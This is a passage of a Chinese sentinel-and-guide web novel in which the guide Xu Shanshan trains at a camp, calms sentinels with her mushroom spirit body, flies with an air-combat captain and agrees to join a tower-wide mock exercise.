她的眼睛眯着,因此没看见男人的咬牙切齿,对方的手掌摁向沙发皮面,不小心贴着腿肚,她因此呲了一声,“轻点,我腿。” 她皱眉看过去,全是责怪,说出来的话却只让对方心软软的,“别碰我。” “你去训练营了?” 她点了点头,阿瑞斯便说,“你这样不行,会肌肉损伤,我给你放松一下。”她抬眼看去,“会痛吗?” “不痛,但可能会有点酸胀。” “你忍一忍。” 好吧,她翻转身体,侧躺着,面朝椅背,黑色狮子从他肩膀上跳下来,蹲坐到她胸前,开始舔她的脸,伸手按住它,“乖一点。” “嗷,轻点!”右腿被向上抬起,两腿张开,阿瑞斯手上动作开始了,她不由得闷哼出声,那边力道才放轻些,感觉对方像食堂师傅搓面团一样,揉搓自己的小腿,那个酸痛,忍不住喊:“再轻一点。” “这样效果更好。” 好好好,她忍,手陷进狮子的雾里,手指陷了进去,忍无可忍地将它抓在怀里,可惜对方完全是能够伸缩变化的,不仅没感到不适,反而贴得更紧了。 阿瑞斯将修长白皙的小腿握在手中,逐渐感到心猿意马,手上的动作却没停,这是实话,更好的放松,下次训练才能更好应对。 一开始的酸胀着实令人难以忍受,但揉开了之后,感觉就舒服很多,她爽得直哼哼,决定给一号技师打个好评。不知不觉时间就过去了。 “几点了?” 男人出声,她才恍然察觉下班了,卡尔应该在外面等着,把手从黑狮脖子下伸出,看向光脑,果然,人在门外,不知道站了多久。 “可以了,阿瑞斯,”她制止对方,“你该走了。” 男人将她的小腿轻轻放下,两只脚合在一处,大拇指摁住脚踝骨,“我必须走了吗?” 他的上半身俯下来,一直维持的愉悦神情破裂,声音里带着疯狂,“为什么我该走了,谁可以留下来?” 感受到唇瓣传来的冰凉,她闭上了眼睛,试图推对方的胸口,推不动,反而被视作一种情趣,又羞又躁的情绪涌上胸口,“放开,唔——” 随后的唾骂被咽进嘴里,她却感到有什么温热的液体落在脸上,张开嘴后退,才发现他哭了,一时间表情十分复杂。 是他强吻自己好吗?哭什么,搞得跟她欺负人一样。 “哎,别哭了,”她起身想抽纸巾,被人捞在怀里,就抱着她掉眼泪。 徐珊珊很无奈,你说这,这,千言万语汇成一句话:白塔要完。塔里的哨兵全是情绪泛滥,看起来,完全缺乏战斗力。 她于是不得不安慰他,等她不再试图离开,腰上的手力道松懈,顺利侧过身,左手摸上他右脸颊,“怎么了,为什么要哭?” “你不要我,只要他了是么?” 又是卡尔…… 她真的有点厌烦回答这个问题了,“是,”见男人身体一僵,她反应过来,自己说错了,“不不不,不是。” 感觉刚刚有什么危险包围了自己,她有些后怕,“我们认识得更久不是吗?为什么你们都要吃他的醋,不过是一场意外。” “那我可以有一场意外吗?”说到这,男人眼泪不掉了,声音也不虚弱了,真是图穷匕见。 徐珊珊:“不行。” 她不想给自己招来更多麻烦,见对方的气压低下来,又多安抚了一句,“但我可以帮你做疏导,浅层的,只要不影响我工作。” 她的头转向房门,外面还有人等着,“别让我难做,好吗?”对方没回话,她深呼吸了一口气,摁下开门键,“下次见。” 金发男人走进来,泪水冷却在阿瑞斯的脸上,他没有擦,表情冷硬,眼里看不出一丝动摇,像危险的冰山。 他拎起黑狮,不管对方厉叫,爪子挠上手臂,强硬地将它拖出来,点头说:“我走了。” 第26章 “卡尔。”她带上烘干衣物往外走。 两人并行,见她不想说话,一路上,除了必要提醒,他没有开口,直到下车,站在栅栏外,望着背影走进检查口,往左转,没入绿荫小道。 任务完成,卡尔拍照并汇报,乘下一辆列车回塔。 精神海内,埋在土壤的根系外表面,包裹着白色真菌,将木质根保护在里面,形成菌根,污染析出的棱晶颗粒被分解,各处的白点伸长,像穿上斑点袖套。 纤长翘曲的睫毛轻颤,树影倒映在碧绿眸子中,光脑传来消息,卡尔低头,脸上笑意消失,神情严肃。 向导宿舍内,污染报警器发出警告,整层楼被封锁,调查时,又发现另一起投毒案。 布满荧光的易拉罐,饮料被注入放射性物质,食用后会中毒,刚开始没有症状,浑然不觉,紧接着腹泻、咽喉痛,会被误诊为流感,等确诊时,中枢神经系统已经遭受到严重损害。 被投毒的人是塔内一名富有经验的高级向导,她喝得不多,已被送往医疗中心,现无大碍。 里面牵扯两拨人,他们钻安防的空子,试图制造恐怖事件。这几天,白塔会进行内部清洗,揪出犯罪分子。 训练营。 她回到宿舍,看见两位室友,伸手摇晃,对方似乎挺惊讶,上下打量她。 吴可:“你回来了?” 徐珊珊:“对,我下午要去白塔坐班。” “我还以为你退出了,”吴可从桌上拎起一个本子,红色外壳,“今天发了新课本,你可以去找教导员要。” 克拉拉盘腿坐在床上,闭着眼睛,双手合十,看着像打坐,四周萦绕着白光,像尊佛像。 吴可见她一脸诧异,帮忙解释:“那是她的锻炼精神力的方式。” “好。”她转身坐下,换上统一的鞋子, 吴可:“白塔那边污染爆发得严重吗?” 徐珊珊:“啊?” 什么污染,她怎么不知道这回事,头回听说,扒着椅背,扭腰看去。 “你没听说那边出了事?” 见室友是内情人士,徐珊珊岔开腿反坐,满眼都是好奇。吴可也说不清楚,只是听说有人私藏污染物。 吴可:“还真是嫌命长。” 听完新闻,徐珊珊的目光不可控地飘向另一个室友,她的外貌太特别了,像个大号的精致洋娃娃,忍不住多看了两眼。 克拉拉终于睁开眼睛,说出了第一句话:“你相信精神力可以提升吗?” 张口就是问答题,灰白色瞳孔中倒映着她的身影,直勾勾地盯着她,一点儿也不躲闪,徐珊珊不好意思地摸头: “我不太了解。但我觉得,应该可以,就像锻炼身体,”一边揉搓小腿肌肉,也许过两天,跑步时她就能跟上大部队了,“你觉得呢?” 吴可:“当然可以啦!” 吴可看过去,见克拉拉缓慢地眨了一下眼,低声应下,她才放心。对方生性要强,不甘人后,偏偏精神力等级不高,只有C级。 “克拉拉是体术训练第一名,可厉害了,每次跑操都跑第一个。” “我看见了。”徐珊珊点头,队列里有比她身体条件更好的,但她就是能甩别人一大截,不得不佩服。 吴可:“我是A级,你呢?” “A吧。”语气不太确定,应该是吧,不然他们也不会那么重视她。 随着闹铃声响起,马上要集合晚训,聊天终止,赶紧收拾一下,离开宿舍。 今晚的训练比昨晚要轻松些,主要是课前多了一门思想品德教育,教导员还给她们吹了一阵牛。 散场后,她跟着教导员的脚步走,操场上还有人在跑步。来到办公室,对方好似压根没注意到她,进房间就把门踢拢了,紧接着里面音乐声响起,她应该是在打游戏。 徐珊珊坐在门口台阶上,发了一会儿呆,越发感觉白塔的不靠谱,直到第一道铃响,要查寝了,她起身,轻敲房门,里面伴奏中止,“进来。” 她扭动门把手,走进去,看见桌上摆放着棕灰色的趴趴树懒,女人手撑着桌面,屏幕的左下方有个缩小的游戏图标。 她移开眼假装没看见:“教导员,我来拿白天发的那个教材,我下午去白塔没领到。” “好。”女人俯身,桌下放着一摞书,用刀片解开系 绳,抽出一本递给对方,“下次让你室友帮你领。” “好的。” 她刚想走,又从玻璃倒影里看见幽灵似的男人身影,天黑路远,有照明、活人,她紧张地问:“我们这儿有男性向导吗?” 女人双手抱拳,放在胸前,“男性向导有,不过不在这一届。” “我看到一个男人,”她盯着玻璃里的人影,一动不动啊,连风都吹不动他的衣服,跟个鬼一样。 “他是正常人吗?” “哈哈,”教导员笑起来,手抬高,往外指,“你是说那个吗?” 徐珊珊往外看,就是那午夜杀手似的瘦长身影,“对!”一阵恶寒,他无处不在,不管她去哪里,一转身,都杵在那儿,跟有影分身一样,别人还视若无睹。 “你是后面来的,介绍的时候不在场。它是安保队的精神体,像傀儡一样,能释放多个,平时呢起个监控作用,如果有什么意外发生,能及时响应。” 徐珊珊:“你是说他一个人分裂出这么多傀儡?” “对,”女人点头,坐回椅子上,手操纵鼠标在桌面滑动,“你还有别的事吗?” 她摇了摇头,走出房间顺便带上门,朝那个傀儡走去,环绕着它上下观望,完全是一比一复刻,真是栩栩如生。 “这位向导,你该回宿舍了。”突然,没有呼吸的傀儡张嘴说话,吓得她后退了几步,跌倒在地上。 “好好好,好的。”她站起身,拍了拍书封的灰,往回走时,仍按捺不住好奇心回看,多重分身,有意思。 推开门进入宿舍,雾气从淋浴间冒出来,吴可换上了睡衣,用毛巾裹着头发走出来。徐珊珊随便冲了冲凉,擦干后躺上床。 又过了一会儿,第二道铃声响起,克拉拉推门进来,她面部红润,满脸汗珠,收拾好洗漱用品,走向淋浴间。 宿管开始查寝,沐浴声停止不久,女人吹干头发往外走,第三道铃声敲响,宿舍灯光熄灭,三人上床。 辗转反侧十分钟睡不着,她睁开眼,惊讶地看见对面的克拉拉,周身萦绕白光,而斜对侧,吴可的被子里泛出微光,照亮了墙面。 合着都醒着,她也睡不着,中午睡过了,翻了个身,突然听见吴可说:“徐珊珊,你是这个月刚来的向导吗?” 好呀好呀,女寝夜聊。 虽然没人看见,她还是点头说:“对啊,你们都是本地人吗?” 她听见对方的轻笑,“半个本地人吧,我是十五岁的时候,随父母到这儿来的,当时还没觉醒。” “别人都说:‘这么晚没觉醒,估计没天赋,就算最后分化成向导,等级也不会高’。” 吴可:“我是成年后分化,才被接进来,之前在跑客车。”她语气平常,但还是能感受到一丝打脸的爽快。 徐珊珊:“我是在污染区被别人救回来的,之前的事都记不清了。” 克拉拉:“说谎。” 她惊悚地看向睁开眼的女人,不知是因为她的女鬼造型,还是坚定的结论。 吴可:“你别介意,她就是这个样子,这是她的能力,不说出来会难受。” 原来室友是人形测谎仪,真好奇她的精神体,换了个说法:“来这儿之前,我没接触过向导相关的知识。” 克拉拉沉默地点头,看来经过验证了。 徐珊珊:“听说随队向导的待遇比驻塔更高。” 吴可:“那当然啦,我就是图这个才随队的。” 克拉拉举手,“我也是。” 有种诡异的萌感,徐珊珊也跟着伸手,可惜发不出光,不显眼,“其实我也是个穷鬼。” “没关系,以后就不缺钱用了。”吴可回完最后一条消息,摁熄屏幕,手掌放在脑后,“工作、补贴、奖金,还有匹配哨兵,”她抽出手指头开始数,“一、二、三、四、五……反正总够用了。” 克拉拉:“嗯。” 吴可:“我特意挑的哨兵队伍,他们的资产排名在白塔内是前十。” 她被这直白的标准震惊,忍不住问:“这样会不会被骂?” 房间内沉默了一瞬,吴可:“你怎么会这么想?” “我在救他们的命诶,”她的语气蛮横,“你知不知道,几乎平摊他们的风险。” “没有向导的哨兵,只能排队,不知道等到猴年马月去了。向导素也不是便宜的东西,何况效果还不好。” 吴可打了个哈切,“拿钱买命,难道他们还算不明白这笔账吗?我选他们就该感恩戴德了。” 原来是这么赤裸裸的金钱交易吗?徐珊珊若有所思地点了点头,受教了。 但克拉拉破天荒地说了好长一段话,“其实是精神链接后,哨兵没法离开向导,变得很好操控。” 克拉拉:“到时候不用应付那么多,挑一个顺眼的,其他的就敷衍一下,平时直接灌向导素,他们也不会说什么。” 怎么感觉话题逐渐走歪,落入白塔不允许的范畴,她这是误入什么违法犯罪小团体。 吴可:“没必要做那么绝。” 门外传来脚步声,由远至近,看起来是宿管巡查,她们不再说话,徐珊珊闭上了眼睛,而这一闭,就是一整晚。 第27章 日子一晃来到周五,她适应了训练,由于收缴光脑,睡眠质量好上不少,生活作息健康,充满活力。 问题出在精神体,因为小蘑菇有吃污染的需求,不仅没表现出异常,还更能吃了,她给它量了尺寸,变粗一丢丢。 不希望它吃嗨,控制不住自己,又把对方标记了,每次都和别人提前商量,解释原由。 对方应下,她以为是听懂了,没想到误会更深。 在论坛上看见一位哨兵在炫耀,大意是:预约治疗时,向导不仅帮自己疏通“结”,还帮自己吸收污染。 下面一群人要么骂他痴心妄想,要么开始钓鱼,明里暗里找他要联系方式。 他才不会给自己增加情敌,没回消息,很多楼层后,又有一个回复,她没翻到。 【我也遇见了,是真的】 那人的IP是在塔外,应该是这两天刚离塔,该层几分钟就有上百赞,顶上热帖。 【搞得跟真的一样,哪里来的菩萨,做梦就不要发出来了吧】 【求梦见这个】 【我接】 眼睁睁看见贴子楼层数暴增,她感慨,这事太容易让人误会了。 以后关于她的传言只会多,不会少。但没关系,后续检测报告出来,允许公布,她可以修改简介,自证清白。 她伸手戳了戳菌丝,“要不先吃点铁片填填肚子?”对方摆了个叉,表示严重抗议,看来它的食谱里,污染更美味。 既然如此,她只能再找老熟人帮忙了。 提示灯亮起,确定第二位来访者,屏幕闪烁,图片不断变换,最后定格成了解逸飞,另一个黑影是谁就不知道了,还没见过这样的。 她猜可能是系统出了bug。 另一处,阿瑞斯、副队一起围在一张桌子前,但代码运转后,终究显示出一个大大的失败。 “队长,没约上,下回吧。” 阿瑞斯明显有些垂头丧气,但嘴上强撑,“没事,下次一定行。” 副队不明白他为什么要这样,明明向导小姐都说了,可以直接找她疏导,为什么还要多此一举,假装不经意匹配到她。这种无谓的自尊心。 副队:“你直接和她说,效率更高。” 阿瑞斯肩膀上的狮子耳朵都耷拉下来,他不是放不下身段,就是不甘心,为什么她要选择、标记那个男人,他差在哪里? 静音室里。 因为是老熟人,她姿态放松,“解逸飞队长,有什么想喝的吗?”弯腰从柜子里抽出茶叶罐,给自己倒了些许。 “白水就好,谢谢。” 一杯热水,一杯凉水,将它递过去,汤匙在杯子里打转,花茶慢慢溶入水中。 她看向对方脖颈上的警示灯,橙色,中等危险水平。她恍然察觉,好像几天没见了,不仅是没见面,甚至没有联系。 徐珊珊:“你们最近还好吗?” “托你的福,我们精神状态都不错。” 因为向导驻留,哪怕没被疏导过的个体,也能被残存的向导素安抚,近期没有异变现象。 按理来说,他这个污染程 度,不用预约疏导的,这样做有些浪费,但他今天,有话要说。 她本打算,多接待两个访客,从不同的地方各吃一点,更好地满足小蘑菇,没想到来了个熟人,这下省力了。 “你好像……”男人的视线在她的额头、脸颊、肩颈间扫荡,疑惑地皱眉。 她有些紧张,“怎么了?” 解逸飞:“变黑了?” 她的手指停下,液体随着惯性在杯中旋转,“这个啊,”她松了口气,还以为什么呢,“正常啊,我天天训练,能不黑吗?” 防晒挡不住毒辣的阳光,虽有室内训练场,但教导员想让她们见识一下户外世界,非得拉出去练。她对此倒没有异议。 见男人凝眉思考,她才意识到对方不知道这个消息,“就是随队向导训练营,”摸了摸杯壁,不烫了。 “布鲁诺还顺利么?”她还是忘不了那夜的噩梦,想再跟他确认一下安全。 解逸飞:“你不用担心,他不久前刚进洞,里面没信号,暂时联系不上也正常。” “好,那我们开始吧。” 她将小蘑菇召唤出来,对方开心地趴在桌子上,伞盖横向挪动,不一会儿,一只缩小体型的丹顶鹤立于地面。 它的头颅高于桌面,露出黑色喉颈和裸露的朱红色额顶,虹膜褐色,嘴长直,呈现灰青色。 静音室内部开始变幻,模拟湿地环境。 丹顶鹤尖喙朝上,隔着伞盖约一公分,似乎在观察面前的蘑菇,发出“呵、呵”的响亮叫声,不久后,开始鞠躬,脖颈向后倒弯,应该是表达友好的方式。 有小蘑菇,她就不用自己动手了,但还是得提前说清楚,“队长,可以为你消化部分污染吗?你别误会,是它需要吃这个。” 她虽是实话实说,但却有哨兵不信,非得认为是她内心偏爱。 男人的眼神里满是包容,就像不管她说什么,都会应下。 她换了个位置,和解逸飞并排坐,两人离得不远,方便第一时间安抚,“如果它过分了,请制止它。” 未经允许,小蘑菇没有乱动,得到同意,她这才点头示意它可以开始了。 当丹顶鹤的喙快贴近伞盖时,她还捏了一把汗,担心小蘑菇会生气,但对方及时停了下来,将头搁在茶几上。于是它伸展着菌须往它身上爬去,直到裹上颈部。 原本长着黑羽的细长脖颈,被白色菌丝覆盖,上方立着一个白粉色蘑菇,像戴了一顶帽子,奇怪、有趣的组合。 丹顶鹤兴奋地挥舞翅膀,频率快,声音响,在空中盘旋,然后落脚于一旁,接着坐下。 洁白的手背上覆着更粗大的手,男人闭上眼睛,应该是开始了,她将手抽出来,盖在他上方,插入指缝,向下紧扣,头靠在臂膀处,发丝贴着臂膀肌肉。 小蘑菇逐渐变色,头顶一沉,她仰起头,原来对方弓着腰,将肩膀和头都下压,贴在她耳边,挡住半边光线,两人的呼吸交织在一起。 趁着这个机会,好好观察一下解逸飞队长,皮肤细腻,看不见毛孔,看来天天出汗排毒就是好,鼻梁很高,但鼻翼不宽。 男人很克制地贴着她,只有紧握的手上力道越来越重,脖颈上的橙灯闪烁,她抬起另一只手,扶着他的下颌,指尖摁在脸颊,男人不自觉地将脸侧贴在掌心。 但没有更多不得体的行为,以至于结束疏导时,两人的衣服都没皱乱。 见小蘑菇从别人身上跳下来,就知道差不多了,但他一直握着手,没有放开的意思,时间之久,让她怀疑是不是又做过头了,怀疑地扫去,小蘑菇抖了抖,比了个圆。 解逸飞非常放松,仿佛被温暖、富有营养的液体包围,不再有惹人厌的寄生虫,在体内一刻不停地叫嚷,没有疼痛和瘙痒,难得的,他陷入了沉睡。 一人一鸟的头都栽了下去,因为有了经验,她也没那么紧张,一直靠在他身边等他醒。 其实更适合做蒙汗药,你看,谁来我的静音室都得睡着。 他睁眼时,斜向下看见女人的侧脸,目光朝外,沿着视线望去,那是一片扁宽层云,移动缓慢。她目光怔怔,好像在回忆什么。 意识到她不能长期承受自己的重量,他抬起头,将身体摆正。 感受到肩膀一轻,徐珊珊紧跟着回头,转了转肩胛骨,让它放松。 解逸飞:“你想飞回去吗,今晚。” 她眼睛一亮,但又想宋晓宇的悲剧,“不是说白塔不能飞吗?” “下班后,隔远一点就可以。” “好,”她一口应下,没有人不向往天空,穿梭于高空,俯视地面的感觉太让人震撼了,“待会儿应该不会下雨。” 两人约好,下班吃饭后,一同离开。 坐班结束后,卡尔一如既往地接送她,她说了这事,但对方坚持说:“我要确保你安全抵达营地。” 她只能退一步,她和解逸飞先行,到了之后,再等他。 终于,夕阳西下,远离车流,在一片草地,两人都趴在丹顶鹤的背部,小蘑菇被她塞进包里,只露出一点子实体。 为了载重,它的体型变大,翼缘覆羽下可见粗壮结实的巩固,拍打翅膀,开始奔跑,长脖子伸向前,一段助跑后,速度合适,离地跃空,飞向天空。 卡尔坐在列车中,光线被遮挡,那飞羽形状的阴影,他抬头望去,看见两人背影,丹顶鹤飞得不快,像一辆空中摆渡车,闲适地观赏风景。 当列车按既定路线向右转,他就离她越来越远,直到最后背影没入天际。 她喜欢鸟,男人明白她对空战组的偏爱,堂姐叮嘱他,别妄想做唯一,偏爱会遭来记恨。但他可以在别处派上用场。 因为她的欢呼和兴奋,他们逐渐飞高,凉爽的微风拂面,由于直线飞行,没花多长时间就抵达了目的地。 丹顶鹤的翅膀向前伸,展成弧形,双腿向下伸出,她没感到太颠簸,很快落地。解逸飞先跳下去,然后接她, 徐珊珊拎起小蘑菇,这应该是它第一次上高空,看起来晕乎乎的,将它收回精神海内。 他们坐在街边店铺里,等卡尔到来。 解逸飞:“我们在为两周后的全塔模拟演习做准备。” “嗯,”她一边嗑瓜子,一边好奇地看,等他接着说。 解逸飞:“我想邀请你,做我们的空战组,联合一队、二队的向导,一起参加模拟演习。” 他向她解释,这场演习会模拟野外环境、哨兵的精神体、身体能力,多队伍同时军演,所有在塔的队伍都要参加。 没有绑定随队向导的队伍,目标是:存活下来,保存根据地,尽可能地扩大地盘。而有向导的队伍,在此基础上,要多加一条——保证向导的安全。 污染作为环境的一部分,被算入其中。因此没有向导的队伍,前期占优,他们行事无须束手束脚,能全队出动,但时间一长,就落入下风。 凭哨兵本人抵抗污染不现实,因此不少队伍会在演习中途抢夺别队向导,那会是比争地盘更血腥的战斗。 当然,这也是最好的竞技场,展示实力的绝佳机会。 他想代表空战组,请她参赛,原因在于:飞禽天生优势,他们无疑能存活到大后期,只需要小心地面偷袭。她跟他们在一起,足够最安全。 实力、匹配度、个人偏好,都是向导选择一支队伍的考量因素。 解逸飞知道她在哨兵论坛里有多受欢迎,凡是被她疏导过的人,无不钦慕于她,难以忘怀。 空战组占尽先机,首先,她喜欢鸟类,亲近他们;其次,她来白塔之后,过往的经历都与他们共同创造。 但这还不够,他们要向她证明自身强大,她的选择正确,各方面的支持,都绝不逊于给其他哨兵队伍。 还要警示其他人,不要觊觎他们的向导,否则就要刺瞎他们的眼睛,扭断他们的咽喉,刺穿他们的心脏。 他们会让她感到骄傲。 事实上,每一支队伍都这样想,每一个人都拭目以待,向导们会关注,她也一定会关注。 每年的模拟演习都格外激烈,甚至是惨烈。 她内心有几分犹豫,又雀跃,听说过这事,完全模拟自然环境,参与队伍数量庞杂,种类丰富,不得不看。 而且,吴可和她说过,她和克拉拉都会参加,这届训练营里的向导,时间恰巧撞上了。 这会作为她们第一次和队伍合作,与他们同生共死,亲眼目睹,真实的残酷战场,英勇机敏的战士。死亡会带来极大震撼,挑动每一位向导的神经。 内心已暗下决定,但她还是点开光脑,翻到聊天界面,点击投骰子功能,图标不断变换,骰子滚动,最后丢出六个圆点。 “大。” 看着男人迷茫、不解的神情,门外列车抵达站台,她笑着说:“我参加。” 第28章 三人走向门口,见一个男人手提太阳伞,站在台阶上,石墩子前探头探脑,鬼鬼祟祟的,不远处停放了一辆白色长车。 绕着他走,跨上台阶,没想到男人反而贴过来,面容憨态可掬,眉眼间又透着机敏,直朝她来,“你好。” 卡尔上前,不允许对方再靠近,防备地问:“有什么事?” 雷科:“我就是想问一下,这里几点开门?”男人掏出证件,“我是鼬队的队员,来接队里的向导,不是说五点半解散吗?” 对,她想起来了,明晚到后晚要放一天的假,可以离开营地,但今天是周五啊,他兴许记错日子了。 徐珊珊:“接人的话,明天再来吧。” 谈话时,长车的车窗缓缓摇下,里面坐着一车人。他们等了许久,一只黄鼬钻出来,爬到窗边,被手摁了下去,不一会儿又跳出另一条伶鼬,它耳朵短圆,背棕腹白,精神体像打了兴奋剂似的闹腾个不停。 雷科向那边打了个手势,挠了挠脑袋,好像太心急,记错日子了,“那我们明天再来,谢谢啊。” 目光注视着男人的背影,他坐上那辆油光铮亮的轿车,尾气喷出,扬长而去,车后盖上还喷有涂鸦,惹眼的全家福,簇拥在其中的是一只野兔。 她好笑地摇了摇头,真不知道他们是谁的哨兵。车尾消失在视野中,人声忽然响起。 解逸飞:“明天,我们也来接你。” “啊?”没想到热闹看到自己身上,她想了想那个场面,跟接送学生考试一样,道路堵塞,人山人海,他们挤在前排,大声喊她的名字。 “到时候人多,恐怕很挤。” 解逸飞:“没关系。” 他的手指向西边,那有一座黛色高山,一侧陡峭,“那边可以做飞行训练,你想参加吗?” 形态各异的鸟类从悬崖的边上飞下,在空中划过,那场面肯定很有意思,她实在抵抗不了这种诱惑,点头答应,又回头看向卡尔,她还没开口,对方先点头了。 卡尔:“我跟你一块去。” 她再看向解逸飞,男人并不介意多一个旁观者,于是这件事就这么愉快地决定了。 进入营地,分外安静,路上行人寥寥,只有无处不在的傀儡。一阵收拾,晚训后,伴着月夜回到宿舍,一番洗漱。 两人躺上床,克拉拉还没回来,她每晚都要加训。 三人聚齐,吴可向她两分享了模拟演习的消息,并告知她们也要参加,没露出半点恐惧,全是摩拳擦掌的兴奋。 克拉拉:“嗯。” 徐珊珊点头,“我也听说了,我们应该都要参加。” 周六上午,教导员突然宣布要进行多项体能考核。 短跑冲刺,她还能勉强及格,这得益于结实发达的大腿肌肉,妈妈生的,她从小爆发就强,但下午的长跑就难了。 当天下午,她紧张地等待,但测完各个项目,都没轮到它,时间流逝,进入尾声,众人坐在阴凉处休息,她甚至怀疑今天不测试了,心中暗喜。 但这是不可能的,眼见着只剩半小时,教导员将众人喊起来,集合后,向她们宣布了模拟演习的消息,大家都需要参加,最后是长跑考核。 教导员:“今天是检验成果的日子,” 热得碎发贴着后颈,她宣布将进行三公里考核,及格线是十八分钟,要求不高,但对于缺乏运动的人来说,比如她,就显得格外艰难。 教导员指着最外侧的宽敞道路,“沿着这条路,经过大门,绕着营地跑一圈,回到这儿。” 她说完后,没给多少时间,人群围在起跑线后,前前后后站了几排,随着一声哨响,第一排的人迈开腿,往外冲,跑姿轻盈。 吴可站在后排,离她很近,起步前,她看了过来,鼓励道:“加油,我在前面等你。”紧接着快速起步,并迅速加速,冲向前排。 和克拉拉不同,对方是长期艰苦训练,而吴可受益于精神体,敏捷拉满,不仅速度快,耐力还强。她从一个个人身边穿过,成功地实现弯道超车,毫无压力地跑在前列。 而她像一辆沉重的坦克,脚步砸在地上,从一开始就落后别人一截,看见克拉拉一骑绝尘地领跑,而她与倒数第二的距离也在逐渐拉开。 傀儡的身体朝向她们,观察、监督每一位向导的行为。 嘴边张开,她加大吸氧量,望着遥远的转角路口,头脑放空,身后传来教导员的动作指导,给她加油打气,但顾不上了。 她喘着粗气,最起码得给她一个月吧,逐渐再无精力思考,只有本能地抬腿向前。 哨兵们的确早等在营地门前,台阶之上,人群聚在拦线外,台阶之下,数辆豪车停在路边。 第一个向导从左侧冒出头,银色长发被太阳染上金片,发尾摇荡,她有条不紊地跑过,门外赫然传起一阵欢呼声,而她根本没分神,只往前跑。 遥远的呐喊传来,一阵接着一阵,徐珊珊又羞又耻,她咬紧牙根,顶着压力保持速度,至少不要落太后,否则以为结束了,她才出境,也太尴尬。 熟人都看着呢,她抿着嘴,早知这样,就不让他们来了。她浑身是汗,每次抬脚都觉得胸口要爆炸,但还是坚持,哄着自己再跑到前面的那棵树,接着是下一棵树。 身影斜长,她即将到门口,又加紧了脚步,不想落后太远,尽管此时小腿已经沉重得像灌了铅一般。 路过门口,听见一阵稀稀落落的欢呼声,徐珊珊逆着光看去,视野上下晃动,看不清是谁,微微侧过脸,继续往前,感到有些难堪。 她是最后一名。 汗水溅在地上散开,这项考核必须完成,哪怕是不及格,她也得继续迈步向前。 她不知道的是,站在门外等待她的人有很多,她想到的,想不到的,全都在现场,注视着这一幕。 又过去了几分钟,一道哨声响起,第一名抵达了终点。 解逸飞见她太吃力,俯在洛朗的耳边低语。于是,蜜蜂兄弟逆着人群,走到不惹人注意的地方,偷偷释放出精神体。 已经有人结束了,她还只跑完一半。 还有相当漫长的另一半,前方的人,背影逐渐消失在视野中,她甚至加快了脚步,提升速度,她竟然还有这样的力气。 徐珊珊对此感到惊讶,与之相对,她的速度变慢了,甚至比走路快不了多少,没多少力气抬手、抬脚。 “嗡嗡——” 这是翅膀高频颤动产生的声音,视线前方突然出现了两只小蜜蜂,悬停在不远处,扇动着两对薄如蝉翼似的翅膀,触角和三对 足垂下,腹部布满黄色绒毛,飞行速度不快。 像是在领跑,又像是鼓励。 “洛朗、洛伦斯,”她念出两人名字,因为喘气而断断续续,她有预感,不及格已经是必然的结果,她在长跑中的表现向来不好。 本来失落又难过,但看到陪伴、支持她的人,又觉得挫败没什么了不起。她还有时间,可以慢慢练,这样哪怕以后到了污染区,也不会拖后腿。 大概在最后一百米,它们没有再跟上来,傀儡紧盯着她,不知道它是否发现了偷溜进来的蜜蜂,又是否会检举。 最后的这段路,她得一个人跑完。 道路尽头,有的人在慢悠悠地行走,有的人扶墙,身旁有人递水。 教导员身旁站着室友,数着秒表,听见脚步声,两人抬起头:“加油!” 能看见终点,她的动力更足了些,四肢摆动的幅度加大,迈出更宽的步伐,速度加快。终于,她跑过终点线。 手摁下计时,教导员读表:“十九分四十秒。” 不及格,她还没沉浸在失落情绪中,就被吴可拍了拍肩膀,双腿发软,差点没给她摁到地上,往前倒的时候被克拉拉抓住。 “你,”她回过头,看见吴可一脸愧疚,连指责的话都说不出来,张着嘴,最后却露出一个笑容,“哈哈。” 三人对着笑了起来,徐珊珊边笑边问,“你笑什么?” 吴可:“不知道,我就是看见你笑,也想笑。” 一直到她笑到小腹抽抽,捂着肚子,不再走动,摆了摆手,“我不笑了,我不行了。” 没过多久,教导员再次吹响口哨,集合后,感受到嘹亮的喊话:“长跑训练是为了培养身体素质、耐力和意志力,提升你们遇到危险,躲避的能力。” “总有人说:‘向导有哨兵保护,不需要训练。’但我不这样认为,战场情况变幻莫测,他们会优先保证向导的安全,但并不意味着,没有落单的可能。” 教导员的目光落到后排的克拉拉身上,“我并不是说,要每一个人都像练成他们一样,肩宽腰圆,力能抗鼎,只是希望大家重视这方面。” “这一届有非常优秀的向导,三公里能跑进十分钟,甚至不输一些哨兵。” 教导员的目光从她身上略过,“还有一些人身体素质较差,但也不要灰心,只要坚持,一定能够超越从前的自己。” 感觉在点她,徐珊珊还是嗓子有些痛,咽了咽口水,教导员在上面宣传她的理念,但并不是所有人都认同,有人不置可否地摇头。 响铃逐渐盖过了教导员的音量,她看向大门方向,宣布队伍解散。众人拍掌回应,人群散开,三三两两走回宿舍。 徐珊珊换上常服,转身却发现克拉拉没有动静,她又开始坐着打坐,周身发光。 她和吴可对视了一眼,忍不住问:“你不出去吗?明天休息。” 吴可:“对啊,这儿什么也没有,无聊死了,你的哨兵也在外面等你吧。” 但两人并没有说动她,克拉拉似乎打定主意留下来,掏出光脑,发短信要让他们回去。 吴可一把握住她的手腕:“你可不要因小失大,马上就要模拟演习了,与其加训,还不如好好和队伍熟悉一下。” 她翻出公告,“你知道比赛的赢家有多少奖励吗?”指尖一行行滑过,“分为多组,每组的前十六名都有奖励,你看看前八名有多少。” 望着奖金栏下,尤其是前三名的那一串零,克拉拉终于动了,她松开盘着的双腿,站起身,伸手掀开上衣,露出雪白结实的腹部和一体的运动背心。 秉持着非礼勿视的原则,在她脱衣服时,徐珊珊就移开了眼,最后三人是一起离开的,只不过通过检查口,大家还是分道扬镳,挥手说再见。 人群攒动,他们全都打扮得耀眼,把这儿衬得像时装秀现场,站在空地四处张望,竟一时分不清谁是谁,直到一双微凉的手握住她,“走吧。” 她抬头一看,是长官,还有卡尔,三人穿过人群,来到人少的十字路口。路边站着夏广礼和解逸飞,见她出来,走上前。 徐珊珊:“长官,我和他们约好了……” “去吧,”山昊松开手,“两位队长会好好照顾你的。” 夏广礼:“当然。” 解逸飞:“她跟我们在一起,请您放心。” 怎么和她想象得不太一样?她还没来得及解释呢。 没多说话,他们要在太阳落下前上山,夏广礼牵着她离开了。 路边停放着一辆大巴,车门打开,她走上车,往里看,许多人纷纷冒出头,喊着她的名字。 她也张开手挥舞:“你们好呀!” 她坐在前排右座,夏广礼自然地贴着她,坐在外面,解逸飞则落座于两人之前,帮助驾驶员看位置。 “嘎——”清脆拉长的叫声。 